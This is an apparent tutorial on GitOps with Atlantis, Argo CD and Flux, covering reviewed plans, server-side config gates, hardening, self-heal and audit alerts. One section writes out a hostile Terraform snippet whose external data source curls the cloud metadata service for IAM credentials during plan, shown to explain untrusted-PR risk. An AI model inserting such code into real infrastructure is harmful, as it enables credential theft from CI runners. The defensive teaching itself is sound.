GitOps: Atlantis, Argo CD & Flux

Git as the source of truth for infra.

A shared workshop does not hand every member a key to the tool cage. You write what you need on a slip, someone signs it, and the one person holding the key runs the machine. The slip goes in a folder by the door, so a year later you can still see who asked, who approved, and what came out. Infrastructure deserves that arrangement. Most teams do not have it.

Here is what they have instead. An engineer with production cloud credentials sitting on a laptop runs terraform plan (Terraform's preview of what it would change), reads the output alone, and types terraform apply (the command that actually makes the change) when it looks right. Those keys now live on a machine that also runs a browser, a chat client, and whatever a package manager pulled in last Tuesday. The diff people discussed in chat and the diff that actually ran are connected by trust and nothing else. The audit trail is a shell history file nobody keeps. Two engineers can apply conflicting changes ninety seconds apart and find out when something breaks.

GitOps rearranges that into the workshop. The desired state of your infrastructure lives in a Git repository, a version-controlled folder that records every change, who made it, and when. A machine holds the credentials that can touch production. No person does. Changes get there by being proposed, reviewed, merged, and then applied by that machine. Git is the folder by the door. The runner is the key holder. Two families of tools do this for infrastructure, and they behave differently enough that confusing them will bite you.

The Plan Lands on the Pull Request

Atlantis is a small server whose whole job is watching pull requests. (A pull request, or PR, is a proposal to merge one branch into another, with a review thread attached.) Your Git host sends it a webhook, an HTTP POST fired whenever something happens in the repo, for pull request events, pushes and comments. When a PR touches Terraform files, Atlantis clones that branch onto its own disk, runs terraform init and terraform plan, and posts the plan back as a comment. Reviewers read the resource-by-resource diff before anyone approves anything.

One detail turns that from a convenience into a control. Atlantis plans with terraform plan -out=$PLANFILE and keeps the file. When someone comments atlantis apply, it runs terraform apply $PLANFILE, so what executes is the plan that was reviewed, not a fresh one computed against a world that has moved on since. That saved file is the signed slip. Atlantis also takes a lock per project and workspace, stored in a small embedded key-value database called BoltDB under --data-dir, so a second PR touching the same directory is told to wait instead of racing. And it expects apply before merge: you apply from the PR, watch it succeed, then merge, so the main branch never claims a change that failed.

# Atlantis autoplans when a PR touches *.tf. You can also ask for one by
# commenting on the pull request:
atlantis plan -d prod/network
 
# Atlantis replies as a comment on the PR:
Ran Plan for dir: `prod/network` workspace: `default`
 
Terraform will perform the following actions:
 
  # aws_vpc_security_group_ingress_rule.db_ingress will be created
  + resource "aws_vpc_security_group_ingress_rule" "db_ingress" {
      + arn               = (known after apply)
      + cidr_ipv4         = "10.20.0.0/16"
      + from_port         = 5432
      + id                = (known after apply)
      + ip_protocol       = "tcp"
      + security_group_id = "sg-0a1b2c3d4e5f60718"
      + to_port           = 5432
    }
 
Plan: 1 to add, 0 to change, 0 to destroy.
 
# after review and approval, still from the PR:
atlantis apply -d prod/network
 
Ran Apply for dir: `prod/network` workspace: `default`
Apply complete! Resources: 1 added, 0 changed, 0 destroyed.

Watch the scope of that apply. A bare atlantis apply, with no -d (directory) or -p (project), applies every plan in the pull request. On a repo where one PR touches dev/network and prod/network, the person typing it almost always means the one they were reading. Name your projects in atlantis.yaml and make atlantis apply -p prod-network the habit.

Where the Keys Live

Now that no human holds the production credentials, the box that does is production. Treat it that way. Give it its own user, install it from a unit file (systemd's description of a service, the thing that starts it at boot and restarts it when it dies) short enough to read in one screen, and keep the tokens out of reach of the service user.

[Unit]
Description=Atlantis Terraform pull request automation
After=network-online.target
Wants=network-online.target
 
[Service]
User=atlantis
Group=atlantis
Environment=HOME=/var/lib/atlantis
# Read by systemd as root, before the drop to the atlantis user, so this file
# can be 0600 root:root. Holds ATLANTIS_GH_USER, ATLANTIS_GH_TOKEN and
# ATLANTIS_GH_WEBHOOK_SECRET. No cloud keys here: the instance profile
# supplies short-lived ones.
EnvironmentFile=/etc/atlantis/atlantis.env
ExecStart=/usr/local/bin/atlantis server \
  --atlantis-url=https://atlantis.acme.internal \
  --repo-allowlist=github.com/acme/* \
  --repo-config=/etc/atlantis/repos.yaml \
  --checkout-strategy=merge \
  --data-dir=/var/lib/atlantis \
  --port=4141
Restart=on-failure
 
# creates /var/lib/atlantis owned by atlantis, and keeps it writable
# even under ProtectSystem=strict
StateDirectory=atlantis
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=true
ProtectKernelTunables=true
RestrictSUIDSGID=true
CapabilityBoundingSet=
 
[Install]
WantedBy=multi-user.target

Four choices in that unit are doing security work. EnvironmentFile is read by systemd itself, running as root, before the process drops to the atlantis user, so the file can be mode 0600 owned by root and the service still receives its token and webhook secret. Those values do land in the process environment, so anything running as atlantis can read them out of /proc/<pid>/environ for that process. The file mode closes the easy path, not every path. --repo-allowlist is the set of repositories Atlantis will act on at all, so a webhook naming some other repo is dropped rather than cloned. --checkout-strategy=merge looks like a detail and is not, for a reason covered in the next section. And the cloud identity comes from an instance profile (a cloud role attached to the machine itself) or an OIDC (OpenID Connect) trust, which mints credentials that expire in hours and are worth little anywhere else.

Check it the way you would check any service. Then check the part people forget: that a webhook arriving without a valid signature is refused.

systemctl status atlantis --no-pager
 
# forge a webhook with a bogus signature and see whether the server takes orders
curl -s -o /dev/null -w '%{http_code}\n' -X POST https://atlantis.acme.internal/events \
  -H 'Content-Type: application/json' -H 'X-GitHub-Event: issue_comment' \
  -H 'X-Hub-Signature-256: sha256=0000000000000000000000000000000000000000000000000000000000000000' \
  -d '{"action":"created","comment":{"body":"atlantis apply"}}'
 
journalctl -u atlantis --since '15 min ago' | tail -n 2

● atlantis.service - Atlantis Terraform pull request automation
     Loaded: loaded (/etc/systemd/system/atlantis.service; enabled; vendor preset: enabled)
     Active: active (running) since Mon 2026-07-20 09:14:02 UTC; 2 days ago
   Main PID: 1187 (atlantis)
      Tasks: 11 (limit: 4613)
     Memory: 96.4M
        CPU: 3min 21.006s
     CGroup: /system.slice/atlantis.service
             └─1187 /usr/local/bin/atlantis server --atlantis-url=https://atlantis.acme.internal --repo-allowlist=github.com/acme/* --repo-config=/etc/atlantis/repos.yaml --checkout-strategy=merge --data-dir=/var/lib/atlantis --port=4141
 
400
 
Jul 22 11:07:41 atlantis-01 atlantis[1187]: 2026/07/22 11:07:41+0000 [INFO] server: parsed comment as command="apply" verbose=false dir="prod/network" workspace="" project="" flags=""
Jul 22 11:09:02 atlantis-01 atlantis[1187]: 2026/07/22 11:09:02+0000 [WARN] server: payload signature check failed

Rules a Pull Request Cannot Rewrite

Atlantis reads two configuration files, and the gap between them is the trust boundary of the whole system. atlantis.yaml sits in the repository next to the code, and anyone who can open a PR can edit it. repos.yaml sits on the server, and only whoever deploys Atlantis can edit it. Any rule you count on as a gate has to live in the server-side file, because otherwise a pull request can switch the gate off in the same commit that needs to pass it.

# Server-side config, passed with --repo-config. Root-owned; no PR can touch it.
repos:
  # Baseline for everything. Order matters: for each key the LAST match wins,
  # so the wildcard goes first and exceptions come after it.
  - id: /.*/
    branch: /^main$/
    plan_requirements: [approved]                     # do not run a PR's code before a human looks
    apply_requirements: [approved, mergeable, undiverged]
    allowed_overrides: [workflow]                     # repos may PICK a workflow...
    allowed_workflows: [default, restricted]          # ...from this menu only
    allow_custom_workflows: false                     # ...and may not write their own run steps
 
  - id: github.com/acme/platform-infra
    apply_requirements: [approved, mergeable, undiverged]
    allow_custom_workflows: true                      # higher trust, and CODEOWNERS-gated
 
# Workflows live here, so they are operator-reviewed code rather than PR content.
workflows:
  restricted:
    plan:
      steps: [init, plan]
    apply:
      steps: [apply]

Read those requirements as separate promises. approved means an approving review exists. mergeable means your Git host reports the PR as safe to merge: no conflicts, required checks satisfied. Atlantis deliberately skips its own atlantis/apply status when it asks that question, otherwise it would sit waiting forever for a check that only turns green after the apply it is refusing to run. undiverged means the branch is not behind its base, which matters because a plan computed against a stale main can quietly describe a change nobody intended. That one carries a catch worth knowing: Atlantis can only tell whether a branch has diverged when it checks the code out by merging base into head, so undiverged silently does nothing unless the server runs with --checkout-strategy=merge. The default is branch, and on the default this requirement is decoration. allowed_overrides is a key-by-key list of what the in-repo file may change, and anything outside it fails loudly rather than being ignored. allow_custom_workflows: true lets a repo define its own run steps, which is arbitrary command execution on your server, so leave it false unless that repo is guarded as tightly as the server is. Pull requests from forks are refused by default (--allow-fork-prs is false), and that default deserves to stay.

A Plan Is Not a Dry Run

Reading a recipe out loud sounds harmless. It stops being harmless when reading it means letting the author into your kitchen. That is the shape of the mistake teams make here. terraform plan sounds read-only, and against your cloud account it mostly is. Against your server it is not. terraform init downloads the providers and modules that this branch's files name, and a provider is a binary that Terraform launches and talks to. Data sources (lookups that fetch information rather than create it) are evaluated during plan, and one of them, external, exists specifically to run a program and read its output. Planning an untrusted pull request means running code the PR author chose, on your server, as the user holding your cloud identity.

# Everything here runs during `terraform plan`, on the Atlantis host,
# as the atlantis user, with whatever cloud role that host carries.
# 169.254.169.254 is the instance metadata service: the link-local address
# every cloud VM can query for its own short-lived credentials.
data "external" "cache_warmer" {
  program = ["bash", "-c",
    "curl -s -m2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ > /tmp/.r; echo '{}'"]
}
 
# init fetches whatever this points at, and the providers that module names
# get downloaded and executed too:
module "helpers" {
  source = "git::https://github.com/not-your-org/tf-helpers.git?ref=main"
}

The Loop That Never Stops

A night caretaker walks the building every few minutes with a checklist, compares each door against it, and re-locks anything propped open. Argo CD and Flux are that caretaker for anything shaped like a Kubernetes object: plain manifests (the YAML files describing what should run), Helm charts (packaged, parameterised bundles of those files), Kustomize overlays (patches layered on a base set of them), and Crossplane resources. Crossplane makes cloud infrastructure appear as Kubernetes objects, so a VPC (virtual private cloud, your private slice of a cloud network) becomes something the cluster reconciles. A controller runs inside the cluster, re-reads Git on a timer, and compares what Git declares against what is actually running. Argo CD's default interval is 180 seconds, set by timeout.reconciliation in the argocd-cm ConfigMap.

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: prod-network
  namespace: argocd
spec:
  project: infra
  source:
    repoURL: https://github.com/acme/infra.git
    targetRevision: main
    path: clusters/prod/network
  destination:
    server: https://kubernetes.default.svc
    namespace: crossplane-system
  syncPolicy:
    automated:
      prune: true      # delete objects Git no longer declares
      selfHeal: true   # put back anything changed directly on the cluster
---
apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata:
  name: infra
  namespace: argocd
spec:
  sourceRepos: ["https://github.com/acme/infra.git"]
  destinations:
    - server: https://kubernetes.default.svc
      namespace: crossplane-system
  clusterResourceWhitelist:   # Crossplane managed resources are cluster-scoped;
    - group: ec2.aws.upbound.io   # leave this empty and every one of them is refused
      kind: VPC
  signatureKeys:              # refuse to sync a revision not signed by these keys
    - keyID: 4AEE18F83AFDEB23

Two fields decide how forceful the caretaker is. prune: true deletes objects Git no longer declares. selfHeal: true reverts changes made straight against the cluster. The project fields underneath them decide what the caretaker may touch at all, and they are asymmetric in a way that surprises people: on a project you create, an empty clusterResourceWhitelist denies every cluster-scoped object, while an empty namespaceResourceWhitelist permits every namespaced one. Watch self-heal work by making an out-of-band change, the kind an incident produces.

kubectl patch vpc.ec2.aws.upbound.io prod-vpc \
  --type merge -p '{"spec":{"forProvider":{"enableDnsHostnames":false}}}'
 
argocd app get prod-network --refresh
 
sleep 30 && argocd app get prod-network | grep -E 'Sync Status|Health Status'

vpc.ec2.aws.upbound.io/prod-vpc patched
 
Name:               argocd/prod-network
Project:            infra
Server:             https://kubernetes.default.svc
Namespace:          crossplane-system
URL:                https://argocd.acme.internal/applications/prod-network
Source:
- Repo:             https://github.com/acme/infra.git
  Target:           main
  Path:             clusters/prod/network
SyncWindow:         Sync Allowed
Sync Policy:        Automated (Prune)
Sync Status:        OutOfSync from main (9f3c1ab)
Health Status:      Progressing
 
GROUP               KIND  NAMESPACE  NAME      STATUS     HEALTH       HOOK  MESSAGE
ec2.aws.upbound.io  VPC              prod-vpc  OutOfSync  Progressing        vpc.ec2.aws.upbound.io/prod-vpc configured
 
Sync Status:        Synced to main (9f3c1ab)
Health Status:      Healthy

Notice what that summary does not say. The CLI prints Automated (Prune) and never mentions self-heal, because it only reports the prune flag. If you want to know whether drift gets reverted on this app, read the manifest, not the status line.

Flux does the same job with the pieces split apart: a GitRepository (or OCIRepository, the same idea backed by a container registry) defines the source and how often to fetch it, a Kustomization object defines what to apply from that source, and a HelmRelease handles charts. Its command-line tool reports the state of the loop, and can kick it when you would rather not wait for the timer.

flux get kustomizations --all-namespaces
 
flux reconcile kustomization infra --with-source

NAMESPACE  	NAME       	REVISION          	SUSPENDED	READY	MESSAGE
flux-system	flux-system	main@sha1:9f3c1ab5	False    	True 	Applied revision: main@sha1:9f3c1ab5
flux-system	infra      	main@sha1:9f3c1ab5	False    	True 	Applied revision: main@sha1:9f3c1ab5
 
► annotating GitRepository flux-system in flux-system namespace
✔ GitRepository annotated
◎ waiting for GitRepository reconciliation
✔ fetched revision main@sha1:7d5e4c2f
► annotating Kustomization infra in flux-system namespace
✔ Kustomization annotated
◎ waiting for Kustomization reconciliation
✔ applied revision main@sha1:7d5e4c2f

The security difference between the two shapes is worth saying plainly. Atlantis keeps a person between the diff and the change: the plan comment is the review artifact, and a human types apply. Argo CD or Flux with automated sync removes that second step, so merging is the change. That trade is fine as long as you see what it does to your controls, because branch protection, required reviews and CODEOWNERS (the file that forces named reviewers onto specific paths) stop being hygiene and become the whole gate. Both tools will check commit signatures for you: signatureKeys on an Argo CD AppProject refuses to sync a revision not signed by a listed GPG (GNU Privacy Guard) key, and Flux does the equivalent with spec.verify on the source object.

Self-heal has a sharp edge worth planning for before it cuts you. During an outage someone will kubectl edit a resource to stop the bleeding, and a few minutes later the controller puts it back exactly as Git says, because the cluster stopped being the source of truth the moment you turned the loop on. Suspend the loop on purpose instead. flux suspend kustomization infra, or argocd app set prod-network --sync-policy none. Say so in the incident channel, and put resuming it on the closing checklist. A suspended Application that nobody resumed is a silent hole: Git is no longer enforced, drift piles up unnoticed, and the dashboard still shows green.

What the Defender Sees

Attribution moves. Before GitOps, CloudTrail (AWS's log of every API call) told you which human created that security group. After it, every infrastructure change carries one principal, the role the runner assumed. That is a fair trade only if you know where the human went, and the answer is Git. So two things have to hold: the repository history must be tamper-evident (protected branches, no force-push overwriting history, no admin bypass, ideally signed commits), and the runner's own logs must ship somewhere the runner cannot rewrite.

Then wire the alerts that only make sense in this model. Any AssumeRole on the Terraform apply role by a principal other than the runner should be zero outside break-glass, so page on the first one. An apply in the Atlantis log with no matching pull request is that same event seen from the other side. A burst of 400s on /events means someone is probing your webhook endpoint without the secret. One cheap trick buys back a lot of the attribution you lost: set the session name on the assumed role to carry the PR number (session_name = "atlantis-pr-482" in the AWS provider's assume_role block), and the CloudTrail identity points straight back at the review thread. And in Argo CD, a sync started by a person rather than the controller is worth reading: initiatedBy holding {"automated":true} is the loop doing its job, while a username field there means somebody pressed a button instead of merging a commit.

kubectl -n argocd get application prod-network \
  -o jsonpath='{.status.operationState.operation.initiatedBy}{"\n"}'
 
argocd app history prod-network | tail -n 4

{"automated":true}
 
ID  DATE                           REVISION
12  2026-07-22 09:41:07 +0000 UTC  main (9f3c1ab)
13  2026-07-22 10:58:14 +0000 UTC  main (9f3c1ab)
14  2026-07-22 11:12:02 +0000 UTC  main (7d5e4c2)

One check tells you whether any of this is real. Take your own production apply rights away, then try to use them.

aws sts get-caller-identity --query Arn --output text
 
aws sts assume-role \
  --role-arn arn:aws:iam::210987654321:role/terraform-prod-apply \
  --role-session-name gitops-check

arn:aws:sts::210987654321:assumed-role/AWSReservedSSO_PlatformEngineer_9c1a/sachin
 
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:sts::210987654321:assumed-role/AWSReservedSSO_PlatformEngineer_9c1a/sachin is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::210987654321:role/terraform-prod-apply

If that command succeeds for a human, the pipeline is a habit rather than a control, and everything above it is decoration. Keep exactly one break-glass path, a deliberately awkward emergency role that alarms the moment it is used, and make sure the alarm lands somewhere a person reads within minutes. Then run the same test on the cluster side: kubectl auth can-i patch vpcs.ec2.aws.upbound.io should answer no for your engineers, and yes only when you ask it with --as=system:serviceaccount:argocd:argocd-application-controller.

Try this

Run systemctl status atlantis --no-pager on a scratch host or disposable cluster and read the output against what this lesson described. Then change one input so it fails, and re-run: the error you get is the one you will meet in production.

Takeaway

The trap worth remembering here: plan, not apply, is where an untrusted PR gets in. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related